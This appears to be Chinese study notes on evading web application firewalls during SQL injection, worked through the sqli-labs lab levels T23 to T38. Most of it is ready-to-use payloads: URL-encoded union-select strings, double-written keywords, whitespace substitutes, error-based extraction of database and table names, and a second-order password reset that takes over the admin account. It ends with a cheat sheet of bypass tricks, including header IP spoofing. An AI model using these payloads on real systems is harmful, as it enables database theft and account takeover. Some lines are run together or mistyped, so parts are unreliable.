分析目标防火墙并且跳过
1.直接拉黑ip类防火墙
2.过滤删除相应字符的防火墙
1.waf注释符号过滤
例题:Sqli-labs T23
特点:
注释符 --+ # 被过滤掉了 绕过方法:
逻辑上补全闭合即可
多加一次url编码只是更安全的绕过
select * from users where id = '' limit 0,1select * from users where id = ' -1' union select 1,2,'3 ' limit 0,1-1' union select 1,database(),'3
?id=1'?id=1%27 //单引号进行url编码后会变成%27原理:大部分网站的get请求最后送到服务器上都会进行url编码而过滤的过程会通过类似于if语句先进行对比替换判断等操作之后才会进行编码。所以可以人为先编码 这样既可以避免服务器进行编码 也可以绕过部分防火墙的检测PHP语言写的过滤语句一般只会去逐字比对判断 不会进行编码判断//必要的时候进行全部的url编码
?id=2' or '1'='1 //对红字部分进行url编码
?id=2%27%20%6f%72%20%27%31%27%3d%27%31
?id=-2' union select 1,2,3 or '1'='1 //对红色的部分进行url编码即可
?id=-2%27%20%75%6e%69%6f%6e%20%73%65%6c%65%63%74%20%31%2c%32%2c%33%20%6f%72%20%27%31%27%3d%27%31
?id=-2' union select 1,2,3 or '1'='1
2.密码重置越权 (越权漏洞)
例题:Sqli-labs中的T24 密码重置
//当可以注册用户的时候,我们思考一下能不能通过修改自己的密码去修改别人的密码
$new_pass1 = $_POST['new_pass1'];
$new_pass2 = $_POST['new_pass2'];
if($new_pass1 == $new_pass2){
update users set password='$new_password1' where username='$user' and password='$old_pass';
}
可以尝试新注册一个用户名字叫 admin' # 密码随便
之后登录相应的账户 成功登录admin' # 这个账户
之后进行修改密码 把新的密码改成999 这个时候被修改密码的账户是admin账户
update users set password='123' where username=' admin'# ' and password='$old_pass';
之后登录账户 admin 密码为999 登录成功 实现了越权修改密码这个操作
sqli-labs T25 屏蔽了and or 单引号闭合
or
/*!or*/
尝试order by 发现结果是der 说明防火墙是直接删除了or 可以尝试双写绕过
防火墙:replace类型 找到直接替换为空
绕过方法1 双写绕过: id=2' aandnd 1=1 --+
replace('or','')
绕过尝试2:大小写绕过 失败了 说明防火墙也是大小写敏感
有的防火墙会先把内容都转成小写 再进行判断
and和or还可以使用 && || 替代 不过这题&&也被屏蔽了 还可以尝试对&&先进行url编码再提交
id=2' || 1=1 --+id=2' %26%26 1=1 --+id=2' aANDnd 1=1 --+id=2' && 1=1 --+id=1' || extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
$url1=urldecode($url)
$url2=$url1.replace
如果防火墙先解码然后去验证的话 那我们可以尝试两次编码然后提交去绕过相应的防火墙
3.waf屏蔽空格
过滤内容:反斜杠 or and 空格 --+等注释符
情况:屏蔽 or and 空格 --+ # /**/
代替
空格的东西:
%09 平台tab键%0a 新建一行%0c 新建一页%0d 回车键%0b 垂直tab键%a0 也可以是空格键(大多数情况下用)
数据库报错问题屏蔽了 - (减号) 可以使用 id=0 id=2000000000
例题 sqli-labs中的
T26
id=2000000' union select 1,2,3||'1id=2000000%27%0bunion%0bselect%0b1,2,3||%271
&&进行url编码提交 发现成功 所以url编码不会被过滤?id=1' order by 3 %26%26 '1 //or被屏蔽 且or大小写绕过失败 双写嵌套绕过成功?id=1' oorrder by 3 %26%26 '1 //空格需要替代?id=1'%a0oorder%a0by%a03%a0%26%26%a0'1?id=1'%odoorrder%0dby%0d3%0d%26%26%0d'1?id=100000' union select 1,2,3 || '1http://127.0.0.1/sqli-labs/Less-26/?id=1'%0doorrder%0dby%0d3%0d%26%26%0d'1http://127.0.0.1/sqli-labs/Less-26/?id=1'%a0oorrder%a0by%a02%a0%26%26%a0'1
id=1'
id=1%27||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(database())),0x7e),1))||1=%27
id=1%27||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(database())),0x7e),1))||1=%27
http://127.0.0.1/sqli-labs/Less-26/?id=1%27||(updatexml(1,concat(0x7e,(select(group_concat(table_name))from(infoorrmation_schema.tables)where(table_schema)like(database())),0x7e),1))||1=%27
4.union select屏蔽
例题:sqli-labs中的T27 (T28类似)这题屏蔽了减号(注释符),屏蔽了union select,屏蔽了空格
//可以大小写翻转 php本身是大小写敏感的 修复方式:先对输入的内容进行小写转换 然后再进行判断
?id=2' or '1'='1 //发现空格没有了
?id=2000'%0bunion%0bselect%0b1,database(),3%0b||%0b'1
?id=2000'%0buNion%0bseLEct%0b1,database(),3%0b||%0b'1
127.0.0.1/sqli-labs/Less-27/?id=200000'%0buniOn%0bsElEct%0b1,database(),3%0bor%0b'1'='1
屏蔽了 --+ 空格也被屏蔽了 减号也被屏蔽
id=1000000000' union select 1,2,3 or '1'='1 //union select也被屏蔽了id=1000000000' uNion sElect 1,2,3 or '1'='1id=1000000000'%0buNion%0bsElect%0b1,2,3%0bor%0b'1'='1
sqli-labs的T29 30 31不是php写的 不具体展开
t32-t33 宽字节注入 sql注入大纲中详细介绍了 这里不多赘述
会自己加转义字符if '\' in url:www.xx.com/index.php?id='2\\'
t34 POST下的宽字节 详情见POST注入部分 这里不多赘述
t35和34类似
t36 37都是
t38 堆叠注入 可以在专题查看 这里不多赘述
奇淫巧技:
1.大小写绕过UniOn SelEct2.双写绕过union selselectect3.编码绕过 //直接对内容进行Hex编码 也就是十六进制编码 而且十六进制可以不用加引号'security' == 0x73656375726974794.注释符(防火墙不会认为这是union select 但是解析的时候会变成union select)un/**/ion sel/**/ect5.空格绕过具体绕过方法查看如上第三个即可6.or and绕过and == &&or == ||7.宽字节绕过 %df%27这种8.内联函数(即使被注释了 本身在数据库里面也可以被执行)/*!select*/ 1,2,3 ?/!*select*/ 1,2,3 ?9.<>绕过un<>ion sel<>ect10.逗号的屏蔽select substr("security",1,3);select substr("security" from 1 for 3); //用from for语句替代逗号union select 1,2,3union select * from (select 1)a join (select 2)b join (select 3)c;limit 0,1limit 0 offset 111.sleep屏蔽and sleep(1)and benchmark(10000000000,1)12.group_concat屏蔽select group_concat('x','y');select concat_ws('','x','y');13.等号=屏蔽使用like rlike regexp <>id=1' or '1'='1id=1' or '1' like '1id=1' or '1' rlike '1id=1' or '1' regexp '1id=1' or '1' <> '114.POST下屏蔽#注释符-- a //减号减号空格a也可以被当作注释符 大部分情况是用来替代空格使用uname=admin -- a&&passwd=admin15.特殊符号过waf/*! 50001 select * from users */这里的500001表示的是如果数据库的版本是5.00.01以上的版本 这个语句才会被执行 (已经没有5.00.01以上的版本了 所以一定会执行)但是防火墙会认为这个是注释 所以可以实现绕过16.ip地址拦截 (都是在burp的数据包里面的)x-forward-forx-remote-ipx-originating-ipx-remote-addrx-real-ip17.修改资源 已经找到了问题网页 但是防火墙不允许访问的情况http://www.xx.com/sql.php?id=1http://www.xx.com/sql.php/1.js?id=118.url白名单 (已经不好用了)大多数情况下防火墙内置的白名单有一个列表 屏蔽admin manager systemwww.xx.com/admin/admin.php 这种地址防火墙不允许直接在url上访问www.xx.com/sql.php/admin.php?id=1www.xx.com/../../../../../sql.php/../../../sql.php/admin.php?id=119.